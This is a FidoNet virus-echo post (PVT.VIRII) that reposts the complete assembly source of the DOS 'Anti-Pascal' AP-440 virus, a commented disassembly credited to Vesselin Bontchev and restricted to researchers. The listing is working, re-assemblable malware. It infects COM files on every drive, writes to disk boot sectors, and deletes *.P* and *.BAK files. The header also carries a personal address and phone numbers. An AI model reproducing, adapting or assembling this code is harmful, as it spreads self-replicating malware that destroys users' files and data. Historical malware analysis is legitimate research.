;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
; Msg  : 46 of 54
; From : MeteO                               2:5030/136      Tue 09 Nov 93 09:16
; To   : -  *.*  -                                           Fri 11 Nov 94 08:10
; Subj : AP_440.ASM
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;.RealName: Max Ivanov
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: ˆ­ä®p¬ æ¨ï ® ¢¨pãá å)
;* From : Fred Lee, 2:283/718 (06 Nov 94 17:54)
;* To   : Mike Nisbett
;* Subj : AP_440.ASM
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Fred.Lee@f718.n283.z2.fidonet.org
    page    ,132
    name    AP440
    title   The 'Anti-Pascal' virus, version AP-440
    .radix  16

; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; ú  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ú
; ú  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255        ú
; ú                                      ú
; ú            The 'Anti-Pascal' Virus, version AP-440               ú
; ú         Disassembled by Vesselin Bontchev, July 1990         ú
; ú                                      ú
; ú          Copyright (c) Vesselin Bontchev 1989, 1990          ú
; ú                                      ú
; ú  This listing is only to be made available to virus researchers      ú
; ú        or software writers on a need-to-know basis.          ú
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume  cs:code, ds:code

    org 100

v_const =   2042d

start:
    jmp v_entry
    db  0CA     ; Virus signature

    db  (2048d - 9) dup (90)

    mov ax,4C00
    int 21

v_start label   byte
first4  db  0E9, 0F8, 7, 90
allcom  db  '*.COM', 0

mydta   label   byte
reserve db  15 dup (?)
attrib  db  ?
time    dw  ?
date    dw  ?
fsize   dd  ?
namez   db  14d dup (?)

allp    db  0, '????????P??'
allbak  db  0, '????????BAK'
maxdrv  db  ?
sign    db  'ICS 89'

v_entry:
    push    ax      ; Save AX & DX
    push    dx

    mov ah,19       ; Get the default drive
    int 21
    push    ax      ; Save it on stack
    mov ah,0E       ; Set it as default (?!)
    mov dl,al
    int 21      ; Do it

    call    self        ; Determine the virus' start address
self:
    pop si
    sub si,offset self-v_const

; Save the number of logical drives in the system:

    mov byte ptr [si+offset maxdrv-v_const],al

; Restore the first 4 bytes of the infected program:

    mov ax,[si+offset first4-v_const]
    mov word ptr ds:[offset start],ax
    mov ax,[si+offset first4+2-v_const]
    mov word ptr ds:[offset start+2],ax

    mov ah,1A       ; Set new DTA
    lea dx,[si+offset mydta-v_const]
    int 21      ; Do it

    pop ax      ; Restore current drive in AL
    push    ax      ; Keep it on stack

    call    inf_drive   ; Proceed with the current drive

    xor al,al       ; For all logical drives in the system
drv_lp:
    call    inf_drive   ; Proceed with drive
    jbe drv_lp      ; Loop until no more drives

    pop ax      ; Restore the saved current drive
    mov ah,0E       ; Set it as current drive
    mov dl,al
    int 21      ; Do it

    mov dx,80       ; Restore original DTA
    mov ah,1A
    int 21      ; Do it

    mov si,offset start
    pop dx      ; Restore DX & AX
    pop ax
    jmp si      ; Run the original program

inf_drive:
    push    ax      ; Save the selected drive number on stack
    mov ah,0E       ; Select that drive
    mov dl,al
    int 21      ; Do ti
    pop ax      ; Restore AX

    push    ax      ; Save the registers used
    push    bx
    push    cx
    push    si      ; Save SI

    mov cx,1        ; Read the boot sector of the drive specified
    xor dx,dx
    lea bx,[si+offset v_end-v_const]
    push    ax      ; Save AX
    push    bx      ; Save BX, CX & DX also
    push    cx
    push    dx
    int 25      ; Do read
    pop dx      ; Clear the stack
    pop dx      ; Restore saved DX, CX & BX
    pop cx
    pop bx
    jc  bad_drv     ; Exit on error

    inc byte ptr [bx]   ; Increment the first byte (?!)
    cmp byte ptr [bx+1],6F  ; Second byte == 111 (?!)
    jne wr_drive    ; Write the new values if not

bad_drv:
    pop ax      ; Restore AX
    pop si      ; Restore SI
drv_xit:
    pop cx      ; Restore used registers
    pop bx
    pop ax

    inc al      ; Go to next drive number
    cmp al,[si+offset maxdrv-v_const]   ; See if there are more drives
    ret         ; Exit

wr_drive:
    pop ax      ; Restore drive number in AL
    int 26      ; Do write
    pop ax      ; Clear the stack
    pop si      ; Restore Si
    jc  drv_xit     ; Exit on error

; Find first COM file on the current directory of the selected drive:

    mov ah,4E
    xor cx,cx       ; Normal files only
    lea dx,[si+offset allcom-v_const]   ; File mask
next:
    int 21      ; Do find
    jc  no_more     ; Quit search if no more such files
    lea dx,[si+offset namez-v_const]    ; Get file name found
    call    infect      ; Infect that file
    mov ah,4F       ; Prepare for FindNext
    jc  next        ; If infection not successful, go to next file
    jmp drv_xit     ; Otherwise quit

no_more:
    lea di,[si+offset v_end-v_const]
    cmp byte ptr [di],'Z'
    jb  drv_xit

    mov ah,13       ; Delete all *.P* files in that dir
    lea dx,[si+offset allp-v_const]
    int 21      ; Do it
    cmp al,-1
    je  drv_xit     ; Exit on error

    mov ah,13       ; Delete all *.BAK files too
    lea dx,[si+offset allbak-v_const]
    int 21      ; Do it

    jmp drv_xit     ; Done. Exit

namaddr dw  ?       ; Address of the file name buffer

infect:
    mov [si+offset namaddr-v_const],dx  ; Save file name address

    mov ax,4301     ; Reset all file attributes
    xor cx,cx
    int 21      ; Do it
    jnc inf_cont    ; Continue if all OK
inf_xit:
    ret         ; Otherwise exit

inf_cont:
    mov ax,3D02     ; Open file for both reading and writing
    int 21
    jc  inf_xit     ; Exit on arror
    mov bx,ax       ; Save file handle in BX

    mov cx,4        ; Read the first 4 bytes of the file
    mov ah,3F
    lea di,[si+offset first4-v_const]   ; Save them in first4
    mov dx,di
    int 21      ; Do it
    jc  quit        ; Exit on error

    cmp byte ptr [di+3],0CA ; File already infected?
    stc         ; Set CF to indicate it
    jz  quit        ; Don't touch this file if so

    mov cx,[si+offset fsize-v_const]
    cmp cx,2048d    ; Check if file size >= 2048 bytes
    jb  quit        ; Exit if not
    cmp cx,64000d   ; Check if file size <= 64000 bytes
    stc         ; Set CF to indicate it
    ja  quit        ; Exit if not

    xor cx,cx       ; Seek to file end
    xor dx,dx
    mov ax,4202
    int 21      ; Do it
    push    ax      ; Save file size on stack
    jc  quit        ; Exit on error

; Write the virus body after the end of file:

    mov cx,v_end-v_start
    nop
    lea dx,[si+offset v_start-v_const]
    mov ah,40
    int 21      ; Do it
    jc  quit        ; Exit on error
    pop ax      ; Restore file size in AX

; Form a new address for the first JMP instruction in AX:

    add ax,v_entry-v_start-3
    mov byte ptr [di],0E9   ; JMP opcode
    mov [di+1],ax
    mov byte ptr [di+3],0CA ; Set the "file infected" sign

    xor cx,cx       ; Seek to file beginning
    xor dx,dx
    mov ax,4200
    int 21      ; Do it
    jc  quit        ; Exit on error

    mov cx,4        ; Write the new first 4 bytes of the file
    mov dx,di
    mov ah,40
    int 21      ; Do it

quit:
    pushf           ; Save flags

    mov ax,5701     ; Set file date & time
    mov cx,[si+offset time-v_const] ; Get time from mydta
    mov dx,[si+offset date-v_const] ; Get date from mydta
    int 21      ; Do it

    mov ah,3E       ; Close the file
    int 21

    mov ax,4301     ; Set file attributes
    mov cl,[si+offset attrib-v_const]   ; Get them from mydta
    xor ch,ch
    mov dx,[si+offset namaddr-v_const]  ; Point to file name
    int 21      ; Do it

    popf            ; Restore flags
    ret

v_end   equ $

code    ends
    end start

;-+-  CrossPoint v3.02
; + Origin: <Rudy's Place - Israel> Hard disks never die... (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
;    þ The MeÂeO
;
;/i            Initialize all segments
;
;--- Aidstest Null: /Kill
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)

